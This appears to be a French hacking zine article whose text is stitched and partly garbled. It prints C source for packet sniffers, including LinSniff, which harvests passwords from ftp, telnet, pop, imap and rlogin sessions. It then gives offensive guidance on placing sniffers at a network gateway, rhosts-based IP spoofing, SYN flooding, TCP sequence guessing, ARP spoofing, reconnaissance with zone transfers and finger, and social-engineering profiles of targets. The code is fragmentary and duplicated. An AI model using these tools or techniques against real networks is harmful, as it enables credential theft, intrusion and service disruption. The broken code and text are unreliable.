register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe-
>SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe-
>DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {•
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL
(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
IDLE_NODE();
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
si.ic_timout = INFTIM;
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f
file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid
());
fflush(LOG);
do_it();
}
● Gobbler: c'est un bon sniffer qui est singulier par sa présentation. Trouvable sur ftp://ftp.
tortada.se/www/hokum/gobbler.zip
● ETHLOAD: un excellent sniffer ethernet qui permettait de surveiller les session "rlogin" et
"telnet", ce sniffer n'étant plus distribué par les développeurs eux-mêmes, on peut le trouver
sur: http://www.computercraft.com/noprogs/ethld104.zip
● LinSniff: pour tous les hackers qui veulent que les mots de passe. Celui-ci ne sniffe QUE les
mots de passe. En voici le code source, à compiler en C:
/*
LinSniffer 0.02 [BETA]
Mike Edulla
[email protected]
DO NOT REDISTRIBUTE
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
printf("\n----- [CAPLEN Exceeded]\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
printf("\n----- [Timed Out]\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
printf("\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
printf("\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
puts(" ");
printf("%s => ", hostlookup(ip->saddr));
printf("%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) {puts(" ");t=0;}
if(isprint(data[i])) {printf("%c", data[i]);t++;}
if(t > 75) {t=0;puts(" ");}
}
}
main()
{
int s;
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof
(ep.ip)-sizeof(ep.tcp), ep.buff-2);
}
}
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah, inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
● Toujours dans les sniffers vous avez SunSniff, à faire tourner sous SunOS, en voici le code
source:
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),
AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') ||
lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe-
>SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe-
>DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL
(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
IDLE_NODE();
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
si.ic_timout = INFTIM;
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f
file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid
());
fflush(LOG);
do_it();
}
int
initdevice(device, pflag)
char *device;
int pflag;
{
#define PROTO htons(0x0800) /* Ethernet code for IP protocol */
int if_fd=0;
struct ifreq ifr;
if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {
perror("Can't get socket");
exit(2);
}
main()
{
int linktype;
int if_eth_fd=initdevice("eth0",1);
#if 0
int if_ppp_fd=initdevice("sl0",1);
#endif
struct etherpacket ep;
struct sockaddr dest;
struct iphdr *ip;
struct tcphdr *tcp;
struct timeval timeout;
fd_set rd,wr;
int dlen;
#if 0
struct slcompress *slc=slhc_init(64,64);
#endif
for(;;)
{
bzero(&dest,sizeof(dest));
dlen=0;
FD_ZERO(&rd);
FD_ZERO(&wr);
FD_SET(if_eth_fd,&rd);
#if 0
FD_SET(if_ppp_fd,&rd);
#endif
timeout.tv_sec=0;
timeout.tv_usec=0;
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
while(timeout.tv_sec==0 && timeout.tv_usec==0)
{
timeout.tv_sec=10;
timeout.tv_usec=0;
select(20,&rd,&wr,NULL,&timeout);
if(FD_ISSET(if_eth_fd,&rd))
{
printf("eth\n");
recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);
}
#if 0
else
if(FD_ISSET(if_ppp_fd,&rd))
{
recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);
printf("ppp\n");
}
#endif
}
printf("proto: %.4x",ntohs(ep.eth.h_proto));
#if 0
if(ep.eth.h_proto==ntohs(8053))
{
slhc_uncompress(slc,&ep,sizeof(ep));
}
#endif
if(ep.eth.h_proto==ntohs(ETH_P_IP))
{
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",
ep.eth.h_source[0],ep.eth.h_source[1],
ep.eth.h_source[2],ep.eth.h_source[3],
ep.eth.h_source[4],ep.eth.h_source[5]);
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",
ep.eth.h_dest[0],ep.eth.h_dest[1],
ep.eth.h_dest[2],ep.eth.h_dest[3],
ep.eth.h_dest[4],ep.eth.h_dest[5]);
printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));
printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),
ep.data-2);
}
}
}
Maintenant que vous savez comment fonctionne voyons quel avantage nous pouvons en tirer: sur
un réseau local, qui est connecté à Internet par un serveur (tête de réseau), il suffit de placer un sniffer
sur cette même tête de réseau pour que les packets transitant vers lui puis de lui vers le net, soient
interceptés. Si vous ne voyez absolument pas ce que celà représente, imaginez un réseau de 500
ordinateurs ou de 500 pc représentés par une adresse IP. Par exemple un ISP quelquonque: les
packets peuvent transiter vers lui, et vous vous interceptez chaque packet envoyé par ces 500
machines. EN quelques heures, votre disque dur est mort, rempli. Il existe des sniffers qui font un
filtrage d'IP. Appuyez vous sur ce fait ou bien ne filez ces sniffers qu'aux machines visées.
ATTENTION: des méthodes de protections ont été élaborées, surtout au niveau du sniffing. Refilez
un sniffer et faites vous repérer risque de vous apporter de grosses emmerdes. Il se peut aussi que les
packets envoyés par X ordinateur soit crypté, il vous faudra trouver comment les décrypter.
IV/ Spoofing
J'avais déjà fait un article sur le spoofing (petit), dans Nopeace2. je pense qu'il serait plus utile
d'approfondir. je rappelle en quoi consiste le spoofing: le spoofing consiste à se faire filtrer à travers
des firewalls et proxys (ou mêmes des systèmes) comme étant une machine "amie". Ainsi on casse
les protections mises en oeuvres par des administrateurs réseaux au niveau du filtrage des clients (une
connection se fait toujours client - serveur).
● RHOSTS: le système rhosts peut être utilisé pour établir des relations d'approbations. Il
existent les fichiers hosts.equiv (les plus intéressants), et les fichiers .rhosts. le premier type
est édité par un root (maitre du système), et donc s'applique à tout le système. Les fichiers .
rhosts, eux, ne s'appliquent qu'à des utilisateurs en particulier et à des répertoire particuliers.
Le root empêche les utilisateurs de créer eux même leurs fichiers .rhosts, car celà peut
engendrer des failles.
coto1.cri.hackers.com cstrife
coto2.cri.hackers.com bond
coto3.cri.hackers.com thorgal
coto4.cri.hackers.com jeankevin
Ce sont les adresses locales de chaque machines, et à coté le nom d'utilisateur. Lors d'une tentative de
connection sur le serveur ayant ce fichier enregistré, les utilisateurs qui auront inscrits le login cstrife
ou bond ou thorgal ou jeankevin, se verront attribuer l'accès au serveur, une procédure
d'authentification au niveau de l'adresse locale ayant été faite bien sur. Seulement ces 4 machines
devront eux-mêmes avoir une entrée .rhosts. Dans le cas de fichiers .rhosts vides ou absents sur l'un
ou l'autre des ordinateurs (client ou serveur), une attaque de type spoofing ne peut-être crée.
Comment faire simple: demandez à quelqu'un que vous connaissez qui travail sur réseau, et dont la
tête de réseau est accsessible par internet, de créer un fichier .rhosts (ou hosts.equiv s'il a un accès en
root) pour pouvoir vous spoofer, et ensuite piratez le réseau (placez des sniffers, détruisez la tête de
réseau, accédez aux autres ordinateurs en réseau...)
Il n'y a pas 36 solutions: identifier les cibles correspond à identifier l'hôte (ou le client si vous
préférez), et le serveur. Si vous savez pas comment faire c'est que vous avez quelques déficiences au
niveau de vos capacités. On va pas répéter ce que tout le monde explique. Immobiliser l'hôte consiste
à le hacker en mots francs. Le hacker c'est à dire: obtenir le login logiquement utilisé pour se
connecter à la cible, puis obtenir les numéros et pass de connections pour pouvoir usurper son IP,
sinon faites changez le fichier rhosts sur la cible. Le reste (connection, login), n'est pas trop difficile:
les connections avec telnet, et obtenez le N° de séquence par divers moyens (expliqués ci bas): les
admins de l'hote ne se méfie pas trop quand on leur demande juste leur login pour se connecter à la
cible; n'oubliez pas d'avoir un fichier rhosts, pour une connection à double sens (une connection
s'établie toujours dans deux sens, c'est comme un pont entre deux rives d'un fleuve, sauf erreur de ma
part).
Mais sans avoir l'IP de la machine hôte (ce qui se peut impossible), vous pouvez essayer de vous
connecter à la cible. A la demande de login un packet sera envoyé à la machine qui normalement
possède le login avec un numéro de séquence. Si il y a réponse de la part de cette machine vous êtes
cuits (plus bas, explications sur les N° de séquence). Plusieurs solutions bien merdiques, bien lâches,
consistent à immobiliser l'hôte qui aurait du être l'hôte normal. Mais on est pas là pour déconner: si
vous arrivez à faire ce genre de piratage, les détails sont inintéressants. Immobiliser l'hôte usuel se
fait par: virus, trojans, failles de sécurités, attentats à la bombe, menaces de morts, Social
Engineering, piratage de l'hôte (!).
Prenons le cas du piratage de l'hôte: l'hôte usuel est aussi serveur et permet à d'autre clients (que vous
ne connaissez pas) de se connecter à lui, menez une enquête: Social Engeeniring, NewGroups, mails,
questions, scann du réseau etc... Tout est bon. Puis faites la même technique, si vous n'y arrivez pas,
de fil en aiguille vous finirez par réussir, et là c'est gagné: vous êtes descendu, éloigné de votre cible
principale, puis vous remonterez jusqu'à la cible attaquée.
Le cas du flooding: ça peut paraitre lame le flooding mais ça devient très utile, surtout quand il s'agit
de mettre un réseau hors-service. On ne parle pas de flooding ICQ ou IRC ou autres lameries dans ce
genre. Le flooding (surtout le SYN Flooding qui correspond à une tonne de demandes connexions, va
créer une file d'attente et le serveur ne peut plus traiter les demandes de connexions entrantes.
Qu'est-ce qu'un numéro de séquence: un numéro de séquence est à peu près ce qui va permettre
d'établir une connection. Exemple: un paquet TCP est envoyé par la machine X vers la machine Y
avec son numéro de séquence. Puis une réponse est envoyé de la machine Y vers X avec le numéro
de séquence de X plus celui de Y. Encore un packet est envoyé à Y de la part de X, et le transfert peut
commencer. Le but de l'attaquant est de truquer le N° de séquence source, et maintenir ce N° de
séquence. l'attaquant doit donc deviner le N° de séquence initial pour retourner la bonne réponse.
Celà peut paraitre simple, sauf que les N° de séquences sont codés avec un algorithme, le but étant de
découvrir aisni la bonne réponse à retourner. Problème: si l'on contrefait son N° de séquence, un
serveur peut retourner le paquet de réponse au client dont le N° de séquence correspond à celui
contrefait. le but ensuite est de retrouver le N° de séquence contenu dans ce packet qui ne retourne
pas à la personne s'étant spoofée, pour pouvoir aquitter la connection. Il y a aussi le problème vu plus
haut, c'est que la machine ayant le bon N° de séquence réponde, donc il faut l'immobiliser.
● ARP spoofing:
ARP est un protocole qui doit faire correspondre les adresses Internet aux adresses physiques. Un
message de requête ARP est diffusé sur le sous réseau vers une cible qui répond en envoyant sa
propre adresse matérielle, ainsi un transfert de packets peut s'effectuer. Il est intéressant de
comprendre ça, car ARP garde les logs des adresses contactées, ces logs peuvent permettre à un
pirate d'avoir les adresses matérielles de machines, et appliquer les attaques habituelles.
Cet article prend fin. il est intéressant mais réservé aux gens qui ont une certaine expérience.
Evaluation de chacune de ces techniques: dans chacune d'elles vous pouvez vous faire repérer, la plus
dangereuse reste celle du cracking et du spoofing. La première de ces deux là requiert d'essayer les
mots de passe un par un, et il n'existe pas de crackers pour telnet, donc c'est à vous d'essayer les pass
un par un. Il y a plusisurs raisons à l'absence de crackers:
● Sur certains serveurs, vous avez droit à trois essais pour vous logger sur le serveur, au
troisième essai foireux, vous êtes déconnecté.
● Une trop grande tentative d'essais de mots de passe pourraient alarmer les administrateurs
réseaux.
En cas d'attaques par spoofing détectée, vous êtes détecté, par conséquent vous risquez d'avoir de
gros ennuis.
Je vais expliquer comment appliquer chacune de ces techniques. A part l'attaque par spoofing étant
donné que c'est déjà vu plus haut. le carcking/finding et SE vont ensemble à la limite. Mais on va les
étudier cas par cas.
Le finding et cracking, consistent à trouver des informations concernant un réseau ou concernant les
administrateurs/utilisateurs, de ce réseau. ces informations sont en généralement très simples à
trouver, à condition de savoir: où chercher, et quoi chercher.
al première chose qu'on va faire, c'est scanner le réseau pour savoir quelles sont les ordinateurs de ce
réseau connectés au net.
Sortez Ws Ping Pro Pack, à partir de là faites un scann du réseau. Si vous savez pas comment faire,
http://www.ipswitch.com/.
Il existe bien sur d'autres scanners, mais celui-ci est simple d'utilisation. Ensuite vous pouvez
recherchez des informations sur les administrateurs, en allant sur http://www.networkssolutions.com/.
La vous avez déjà une base sur laquelle partir. Ensuite on peut essayer de trouver des informations
plus aprofondies (les logins des utilisateurs, leur personnalité). Le mieux est de voir si le réseau
répond à une commande te type host:
Exemple:
host -l -v any réseau.com
Donnerait une liste d'informations désordonnées, mais qui en réalité correspondent aux ordinateurs
reliés entre eux (ce sont les adresses locales qui vont sont fournies) dans ce réseau. Notons que
certaines infos peuvent être révélatrices. Si l'on remarque un poste exploitant Solaris, une
compromission de l'accès root est possible par débordment du tampon rlogin.
Ou encore si une machine tourne sous Linux redhat, un accès root est possible par utilisation d'une
faille imapd.
Plus simple: si un ordinateur opère sous IRIX, il a de fortes chances de compromettre le compte root,
par http, dans le répertoire cgi-bin/handler
Exemple: http://IP ou local host/cgi-bin/handler
Plus en détails, si l'on prend un local host comme cs.bu.edu (c'est un exemple), on peut essayer de
voir s'ils utilisent finger, si c'est le cas on peut obtenir des infos comme:
madhacker Ernest Kim p2 6 Tue 11:32 moria.bu.edu:0.0
Ernest vient de moria.bu.edu. Après examen des listings, on peut supposer que moria se trouve dans
le cluster cs. il est peut-être possible d'utiliser moria pour attaquer un voisin ou un ami. Seulement il
faut vérifier les noms d'utilisateurs de ce système, toujours par finger.On pourra même savoir ce que
fait chacun (mail, rlogin, netscape...)
Mais c'est pas juste par simple curiosité: on a ainsi les logins de chaque utilisateurs.
Une recherche d'informations s'étend aussi aux recherches dans la vie courante: se reenseigner sur un
employé, ses activités, etc...
● En recherchant sur les NewsGroups (dejanews.com regroupe tout les messages news du
monde, et il est possible de faire une recherche par catégorie: email, nickname, sujet): celà
peut permettre de dresser un profil de personnalité d'une personne.
● En cherchant ses coordonnées (Annuaire, email diffusé, contacts)
Une fois ces informations obtenues, dressez vous-même un profil. Il existe plusieurs types
d'utilisateurs selon ce que vous avez recueilli comme informations:
● L'utilisateur conscencieux: il est prudent, discret, ne s'y connait pas beaucoup en informatique,
